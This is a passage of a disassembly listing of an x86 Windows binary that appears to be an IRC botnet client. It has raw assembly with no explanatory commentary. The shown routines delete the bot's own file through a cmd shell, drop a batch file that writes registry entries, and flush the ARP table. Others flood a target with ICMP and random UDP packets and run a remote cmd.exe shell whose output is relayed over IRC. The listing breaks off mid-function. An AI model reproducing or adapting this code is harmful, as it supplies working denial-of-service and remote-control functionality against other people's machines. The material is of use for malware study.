		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415390
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43B658
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_4210C8	; GetModuleHandleA
		push	eax
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409E60
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_4210F4	; SetFileAttributesA


loc_409E60:				; CODE XREF: sub_409D34+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_415316
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_4210F0	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_4210EC	; CreateProcessA


loc_409EB8:				; CODE XREF: sub_409D34+72j
		pop	edi
		pop	esi
		leave
		retn
sub_409D34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409EBC	proc near		; CODE XREF: sub_40C574+31p

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_415B90
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCA_bat	; "c:\\a.bat"
		push	eax
		movsb
		call	sub_415316
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_409F76
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	dword_421070	; WriteFile
		push	edi
		call	dword_42106C	; CloseHandle
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		xor	eax, eax
		mov	[ebp+var_48], edi
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		inc	eax
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_18], si
		call	dword_4210EC	; CreateProcessA


loc_409F76:				; CODE XREF: sub_409EBC+55j
		pop	edi
		pop	esi
		leave
		retn
sub_409EBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_409F7A	proc near		; CODE XREF: sub_4013E8+7p
					; sub_401B7C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43CA64	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_409FA2
		push	[esp+arg_0]
		call	dword_43CAA8	; gethostbyname
		test	eax, eax
		jnz	short loc_409F9B
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_409F9B:				; CODE XREF: sub_409F7A+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_409FA2:				; CODE XREF: sub_409F7A+Dj
		retn
sub_409F7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_409FA3	proc near		; CODE XREF: sub_40CA58+D6p
		mov	ecx, dword_43C94C
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_409FB1
		jmp	ecx
; ---------------------------------------------------------------------------

locret_409FB1:				; CODE XREF: sub_409FA3+Aj
		retn
sub_409FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409FB2	proc near		; CODE XREF: sub_40CD3A:loc_411E19p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43CAA0	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	short loc_40A039
		sub	ecx, 32h
		jz	loc_40A083
		sub	ecx, 48h
		jz	short loc_40A00E
		sub	ecx, 6Eh
		jz	short loc_40A007


loc_409FF0:				; CODE XREF: sub_409FB2+85j
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42B4B8
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	short loc_40A064
; ---------------------------------------------------------------------------


loc_40A007:				; CODE XREF: sub_409FB2+3Cj
		push	offset unk_42B47C
		jmp	short loc_40A056
; ---------------------------------------------------------------------------


loc_40A00E:				; CODE XREF: sub_409FB2+37j
		push	[ebp+var_8]
		call	sub_415BE9
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_415390
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A051
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43CAA0	; GetIpNetTable
		cmp	eax, edi
		jnz	short loc_409FF0


loc_40A039:				; CODE XREF: sub_409FB2+29j
		cmp	[esi], edi
		jbe	short loc_40A074
		lea	ebx, [esi+4]


loc_40A040:				; CODE XREF: sub_409FB2+9Bj
		push	ebx
		call	dword_43CA9C	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A040
		jmp	short loc_40A074
; ---------------------------------------------------------------------------


loc_40A051:				; CODE XREF: sub_409FB2+75j
		push	offset unk_42B438


loc_40A056:				; CODE XREF: sub_409FB2+5Aj
					; sub_409FB2+D6j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_40A064:				; CODE XREF: sub_409FB2+53j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40B078
		pop	ecx


loc_40A074:				; CODE XREF: sub_409FB2+89j
					; sub_409FB2+9Dj
		push	esi
		call	sub_415C9B
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A083:				; CODE XREF: sub_409FB2+2Ej
		push	offset unk_42B3F0
		jmp	short loc_40A056
sub_409FB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A08A	proc near		; CODE XREF: sub_401444+231p
					; sub_401BD4+253p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43C9C8	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43CD50
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_415316
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A08A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A0E3	proc near		; CODE XREF: sub_4010B2+24Cp
					; sub_4010B2+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_40A10E
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+8+arg_0]


loc_40A101:				; CODE XREF: sub_40A0E3+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_40A101
		pop	edi
		jmp	short loc_40A112
; ---------------------------------------------------------------------------


loc_40A10E:				; CODE XREF: sub_40A0E3+Aj
		mov	esi, [esp+4+arg_0]


loc_40A112:				; CODE XREF: sub_40A0E3+29j
		test	ecx, ecx
		jz	short loc_40A11B
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_40A11B:				; CODE XREF: sub_40A0E3+31j
		mov	ecx, edx
		and	edx, 0FFFFh
		shr	ecx, 10h
		add	ecx, edx
		pop	esi
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40A0E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A133	proc near		; DATA XREF: sub_40CD3A+2CA8o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+120h], edi
		call	dword_43C9B0	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43CA64	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40A18E
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43CAA8	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40A194


loc_40A18E:				; CODE XREF: sub_40A133+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40A1F1


loc_40A194:				; CODE XREF: sub_40A133+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42B53C
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40A1D4
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_412BD1
		add	esp, 14h


loc_40A1D4:				; CODE XREF: sub_40A133+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40B078
		push	[ebp+var_30]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_40A1F1:				; CODE XREF: sub_40A133+5Fj
		cmp	eax, ebx
		jz	short loc_40A201
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40A204
; ---------------------------------------------------------------------------


loc_40A201:				; CODE XREF: sub_40A133+C0j
		mov	[ebp+var_4], esi


loc_40A204:				; CODE XREF: sub_40A133+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_415390
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40A224
		mov	[ebp+var_3C], eax


loc_40A224:				; CODE XREF: sub_40A133+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40A22C
		mov	[ebp+var_38], edi


loc_40A22C:				; CODE XREF: sub_40A133+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40A259


loc_40A233:				; CODE XREF: sub_40A133+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43C948	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40A233


loc_40A259:				; CODE XREF: sub_40A133+FEj
		push	[ebp+arg_0]
		call	dword_43CAD8	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42B4FC
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40A2A2
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_412BD1
		add	esp, 14h


loc_40A2A2:				; CODE XREF: sub_40A133+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40B078
		push	[ebp+var_30]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40A133	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2BF	proc near		; DATA XREF: sub_40CD3A+2DE2o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43CAA4	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43CA64	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40A3A4
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43CAA8	; gethostbyname
		cmp	eax, edi
		jnz	short loc_40A39D
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42B5B8
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40A380
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_412BD1
		add	esp, 14h


loc_40A380:				; CODE XREF: sub_40A2BF+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40B078
		push	[ebp+var_20]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40A39D:				; CODE XREF: sub_40A2BF+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40A3A7
; ---------------------------------------------------------------------------


loc_40A3A4:				; CODE XREF: sub_40A2BF+6Ej
		lea	eax, [ebp+arg_0]


loc_40A3A7:				; CODE XREF: sub_40A2BF+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40A3C2
		call	sub_415372
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40A3C5
; ---------------------------------------------------------------------------


loc_40A3C2:				; CODE XREF: sub_40A2BF+F0j
		push	[ebp+var_24]


loc_40A3C5:				; CODE XREF: sub_40A2BF+101j
		call	dword_43CA24	; ntohs
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40A3D7
		mov	[ebp+var_24], esi


loc_40A3D7:				; CODE XREF: sub_40A2BF+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40A3E4
		mov	[ebp+var_24], eax


loc_40A3E4:				; CODE XREF: sub_40A2BF+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40A3F8
		mov	[ebp+var_28], esi


loc_40A3F8:				; CODE XREF: sub_40A2BF+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40A471


loc_40A3FF:				; CODE XREF: sub_40A2BF+158j
		call	sub_415372
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40A3FF
		jmp	short loc_40A471
; ---------------------------------------------------------------------------


loc_40A41B:				; CODE XREF: sub_40A2BF+1B5j
		dec	[ebp+var_30]
		push	0Bh
		pop	esi


loc_40A421:				; CODE XREF: sub_40A2BF+192j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_415372
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43CA88	; sendto
		push	[ebp+var_28]
		call	dword_421060	; Sleep
		dec	esi
		jnz	short loc_40A421
		cmp	[ebp+var_24], edi
		jnz	short loc_40A471
		call	sub_415372
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43CA24	; ntohs
		mov	[ebp+var_E], ax


loc_40A471:				; CODE XREF: sub_40A2BF+13Ej
					; sub_40A2BF+15Aj ...
		cmp	[ebp+var_30], edi
		jg	short loc_40A41B
		dec	[ebp+var_30]
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42B578
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40A4B9
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_412BD1
		add	esp, 14h


loc_40A4B9:				; CODE XREF: sub_40A2BF+1D8j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40B078
		push	[ebp+var_20]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
sub_40A2BF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A4D6	proc near		; CODE XREF: sub_40A506+2Ap
					; sub_40A53E+7Ep ...
		mov	eax, dword_43CD64
		push	esi
		mov	esi, dword_42106C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A4EA
		push	eax
		call	esi	; CloseHandle


loc_40A4EA:				; CODE XREF: sub_40A4D6+Fj
		mov	eax, dword_43CD6C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A4F7
		push	eax
		call	esi	; CloseHandle


loc_40A4F7:				; CODE XREF: sub_40A4D6+1Cj
		mov	eax, dword_43CD60
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A504
		push	eax
		call	esi	; CloseHandle


loc_40A504:				; CODE XREF: sub_40A4D6+29j
		pop	esi
		retn
sub_40A4D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A506	proc near		; CODE XREF: sub_40B459+14Ap
					; sub_40CD3A+446Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_415B10
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43CD68
		call	dword_421070	; WriteFile
		test	eax, eax
		jnz	short loc_40A539
		call	sub_40A4D6
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A539:				; CODE XREF: sub_40A506+28j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40A506	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A53E	proc near		; CODE XREF: sub_40A5C5+D3p
					; sub_40A5C5+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43B658
		push	[ebp+arg_4]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A581
		push	7D0h
		call	dword_421060	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_415316
		add	esp, 10h
		jmp	short loc_40A598
; ---------------------------------------------------------------------------


loc_40A581:				; CODE XREF: sub_40A53E+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_40A598:				; CODE XREF: sub_40A53E+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43CA74	; send
		test	eax, eax
		jg	short loc_40A5C1
		call	sub_40A4D6


loc_40A5C1:				; CODE XREF: sub_40A53E+7Cj
		xor	eax, eax
		leave
		retn
sub_40A53E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; DATA XREF: sub_40A71A+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43CD70


loc_40A5DD:				; CODE XREF: sub_40A5C5+79j
					; sub_40A5C5+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43CD64
		call	dword_421000	; PeekNamedPipe
		test	eax, eax
		jz	loc_40A6AB
		cmp	[ebp+var_4], edi
		jnz	short loc_40A640
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43CD60
		call	dword_4210FC	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_40A636
		cmp	[ebp+var_8], 103h
		jnz	loc_40A6CF


loc_40A636:				; CODE XREF: sub_40A5C5+62j
		push	0Ah
		call	dword_421060	; Sleep
		jmp	short loc_40A5DD
; ---------------------------------------------------------------------------


loc_40A640:				; CODE XREF: sub_40A5C5+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40A657


loc_40A647:				; CODE XREF: sub_40A5C5+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40A6A5
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40A647


loc_40A657:				; CODE XREF: sub_40A5C5+80j
		mov	[ebp+var_4], esi


loc_40A65A:				; CODE XREF: sub_40A5C5+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43CD64
		call	dword_421068	; ReadFile
		test	eax, eax
		jz	short loc_40A6F7
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43CDA4
		call	sub_40A53E
		add	esp, 0Ch
		jmp	loc_40A5DD
; ---------------------------------------------------------------------------


loc_40A6A5:				; CODE XREF: sub_40A5C5+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40A65A
; ---------------------------------------------------------------------------


loc_40A6AB:				; CODE XREF: sub_40A5C5+45j
		push	offset dword_42B688
		push	ebx
		push	dword_43CDA4
		call	sub_40A53E
		push	[ebp+arg_0]
		call	sub_4150F0
		add	esp, 10h
		push	1
		call	dword_421048	; ExitThread


loc_40A6CF:				; CODE XREF: sub_40A5C5+6Bj
		call	sub_40A4D6
		push	offset dword_42B64C
		push	ebx
		push	dword_43CDA4
		call	sub_40A53E
		push	[ebp+arg_0]
		call	sub_4150F0
		add	esp, 10h
		push	edi
		call	dword_421048	; ExitThread


loc_40A6F7:				; CODE XREF: sub_40A5C5+C3j
		push	offset dword_42B608
		push	ebx
		push	dword_43CDA4
		call	sub_40A53E
		push	[ebp+arg_0]
		call	sub_4150F0
		add	esp, 10h
		push	edi
		call	dword_421048	; ExitThread
sub_40A5C5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A71A	proc near		; CODE XREF: sub_40B459+99p
					; sub_40CD3A+5167p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40A4D6
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43CADC	; SearchPathA
		test	eax, eax
		jz	loc_40A814
		lea	eax, [ebp+var_1C]
		mov	edi, dword_421108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_10]
		inc	ebx
		push	eax
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40A814
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40A814
		mov	edi, dword_421104
		push	3
		push	esi
		push	esi
		push	offset dword_43CD68
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_421100	; DuplicateHandle
		test	eax, eax
		jz	short loc_40A814
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_415390
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415390
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43B658
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jnz	short loc_40A81C


loc_40A814:				; CODE XREF: sub_40A71A+2Fj
					; sub_40A71A+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40A8CA
; ---------------------------------------------------------------------------


loc_40A81C:				; CODE XREF: sub_40A71A+F8j
		push	[ebp+var_4]
		mov	edi, dword_42106C
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43CD64, eax
